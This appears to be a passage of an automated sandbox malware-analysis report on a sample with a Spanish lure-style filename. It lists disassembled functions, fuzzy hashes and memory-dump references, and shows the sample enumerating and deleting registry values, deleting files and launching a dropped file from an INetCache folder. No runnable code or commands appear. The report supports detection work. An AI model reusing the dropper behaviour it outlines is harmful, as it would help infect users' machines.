Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c054bf0c5d93fa0a7b6250bc48fdf5a8ef487737ec2afd77fa79e2fd840b2821
Instruction ID: ad0bcc128236992ad7a4f6733702d2b43af4dc4d223e88fe38095793509b9f66
Opcode Fuzzy Hash: c054bf0c5d93fa0a7b6250bc48fdf5a8ef487737ec2afd77fa79e2fd840b2821
Instruction Fuzzy Hash: 62A15671D04229CBDF28CFA8C854AADBBB1FF44305F14816ED856BB281C7785986CF45

Function 00406F10 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7217611772f9ef51776e54c981640a2e38891cb8cac899c938ecb9dba8bbb68
Instruction ID: 6aec0e073e41beee5660f1704474c6018554c7323141eb4488ca3ed34e09e74f
Opcode Fuzzy Hash: e7217611772f9ef51776e54c981640a2e38891cb8cac899c938ecb9dba8bbb68
Instruction Fuzzy Hash: 71913271D04229CBDF28CFA8C854BADBBB1FF44305F14816AD856BB291C7786986CF45

Function 00406C26 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0898a8e2da4e1da6e9a921ed15670c8ccd525f320a25fb1a5aeeb31869c426e5
Instruction ID: 7ea7bfe366fdde138a2213b1adeace564b33d0438ed0be708c4ee64e1a3b53a1
Opcode Fuzzy Hash: 0898a8e2da4e1da6e9a921ed15670c8ccd525f320a25fb1a5aeeb31869c426e5
Instruction Fuzzy Hash: 50814531D04228DFDF24CFA8C884BADBBB1FB44305F25816AD856BB291C7789996CF45

Function 0040672B Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf476539507983e16092c80279d888edc01129ecf00556e39cf10d10f419ff7d
Instruction ID: b0390ff044984b209d4cab8587791f90ef454c2be00e5ddb87b3a87963c4087b
Opcode Fuzzy Hash: bf476539507983e16092c80279d888edc01129ecf00556e39cf10d10f419ff7d
Instruction Fuzzy Hash: 83814631D04229DBDB24CFA9C844BAEBBB1FB44305F21816AD856BB2C1C7786986DF45

Function 00406B79 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149a1ea87bad9471ec2d26afc2e1eb54ca0b669066d2141da6cfc8ccdd9a5e64
Instruction ID: b22102ba0a97a3123bbdfffdcb3b598a66073f742a3c91e931c35cfd39b2e4d0
Opcode Fuzzy Hash: 149a1ea87bad9471ec2d26afc2e1eb54ca0b669066d2141da6cfc8ccdd9a5e64
Instruction Fuzzy Hash: 2B712271D04229DBDF28CFA8C884BADBBB1FB44305F15806AD806BB291C7789996DF44

Function 00406C97 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcb8aa4ffb3c1ace06284f4ef2cf8db0442e32867474e3534aac7ea6feec76b4
Instruction ID: 9997fd61ac043c1521ccfeb60d91edfb3447ef4cf3d9eb85cab0c4916a58cc02
Opcode Fuzzy Hash: dcb8aa4ffb3c1ace06284f4ef2cf8db0442e32867474e3534aac7ea6feec76b4
Instruction Fuzzy Hash: 5E714331D04229DBDF28CFA8C844BADBBB1FF44305F15806AD846BB290C7785996DF45

Function 00406BE3 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce5b5824dab04b0af399fdb569f5160cdf810ce4d6e1efcb4a21919472af673
Instruction ID: 57281eb70c6d5ee4f1dcb93120720bdacd8771e53a80a41a257af2ecf5b7c0f8
Opcode Fuzzy Hash: 5ce5b5824dab04b0af399fdb569f5160cdf810ce4d6e1efcb4a21919472af673
Instruction Fuzzy Hash: 7C714431D04229DBEF28CF98C844BADBBB1FF44305F11806AD856BB291C7789A96DF44

Function 00402511 Relevance: 4.5, APIs: 3, Instructions: 46registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402D5D: RegOpenKeyExW.KERNELBASE(00000000,000001EE,00000000,00000022,00000000,?,?), ref: 00402D85

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402544
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 00402557
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040256D

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 485dd2f437d6d45197d879961a20dd383e7e92377303e2cdc915efeb5cb8a162
Instruction ID: bf3b2bcb6287721b49d379c1e5eb9bed13c1d22dc32754f1d9800637ac4e69b6
Opcode Fuzzy Hash: 485dd2f437d6d45197d879961a20dd383e7e92377303e2cdc915efeb5cb8a162
Instruction Fuzzy Hash: 44018F71A04204ABE7109FA59E8CABF766CEF40388F10443EF506A61D0EAF84E419629

Function 004059BB Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405DC2: GetFileAttributesW.KERNELBASE(?,?,004059C7,?,?,00000000,00405B9D,?,?,?,?), ref: 00405DC7
Part of subcall function 00405DC2: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405DDB

RemoveDirectoryW.KERNEL32(?,?,?,00000000,00405B9D), ref: 004059D6
DeleteFileW.KERNELBASE(?,?,?,00000000,00405B9D), ref: 004059DE
SetFileAttributesW.KERNEL32(?,00000000), ref: 004059F6

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 4d7e10e481d95c5c5c7c05f6c7e2fdde8e74fc3924f4c20308c7a9621a850695
Instruction ID: bc22120fb0abf4725c7bfcc2d312b2669146bcdc80e6b93b711a22507a8c90f5
Opcode Fuzzy Hash: 4d7e10e481d95c5c5c7c05f6c7e2fdde8e74fc3924f4c20308c7a9621a850695
Instruction Fuzzy Hash: 29E06572219A9196C2106735590CB5F2998DF86734F054A3BF591B11D0DB7888068A7D

Function 00401E77 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable,?), ref: 00401EC1

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 00401EAA

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable
API String ID: 587946157-629450151
Opcode ID: 60c3e4594977ef17e214abd782440c60fef5d923f70383dd27c4332d533364e9
Instruction ID: 3dcdd3b781ba8ea7f848cddc5e889496084bd88ab3ad0d62e4dc7728c2b1bbdb
Opcode Fuzzy Hash: 60c3e4594977ef17e214abd782440c60fef5d923f70383dd27c4332d533364e9
Instruction Fuzzy Hash: 35F0C835704511A7DB107BB5DE4AA9D3264DB40758F208576F901F71D1DAFCC9829628

Function 100028A4 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 0040317B Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403127,000000FF,00000000,00000000,0040A230,?), ref: 004031A0

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1aa85c7260de761b297061d79344dc340e95e4778a17b24641d9514d9a29d692
Instruction ID: 40ace49db037ace229a3e5c96781d28ed7fa856bf3440834985399bb1b02b3fc
Opcode Fuzzy Hash: 1aa85c7260de761b297061d79344dc340e95e4778a17b24641d9514d9a29d692
Instruction Fuzzy Hash: 65316B30601219EBDF10DFA5ED84ADA3E68FF04799F20417EF905E6190D7788E509BA9

Function 0040249D Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402D5D: RegOpenKeyExW.KERNELBASE(00000000,000001EE,00000000,00000022,00000000,?,?), ref: 00402D85

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024CE
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsz2C67.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040256D

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 75c219b870972f87efc8e93285d69702e50401aa8d59e26d506de1170bc7c1b1
Instruction ID: 1238864f951968f7a69ddad796cf6f28c2cd02d7cb81d74efa810d70cc71421c
Opcode Fuzzy Hash: 75c219b870972f87efc8e93285d69702e50401aa8d59e26d506de1170bc7c1b1
Instruction Fuzzy Hash: D7115471900205EADB14DFA0CA9C5AE77B4EF04345F21843FE142A72D0D6B88A45DB5D

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3ee467f7d586eb782eae2bae36c3decf9d7e0780ea8b642ce91f4ebf2c7a7eb5
Instruction ID: d65e0694727b7210e6f7bc09f77efd2c0147e56cffd904cd4a2c980f2ed28b93
Opcode Fuzzy Hash: 3ee467f7d586eb782eae2bae36c3decf9d7e0780ea8b642ce91f4ebf2c7a7eb5
Instruction Fuzzy Hash: 3D01D131724210EBEB195B789D04B2A3698E714314F1089BAF855F62F1DA788C128B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402D5D: RegOpenKeyExW.KERNELBASE(00000000,000001EE,00000000,00000022,00000000,?,?), ref: 00402D85

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023AD
RegCloseKey.ADVAPI32(00000000), ref: 004023B6

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
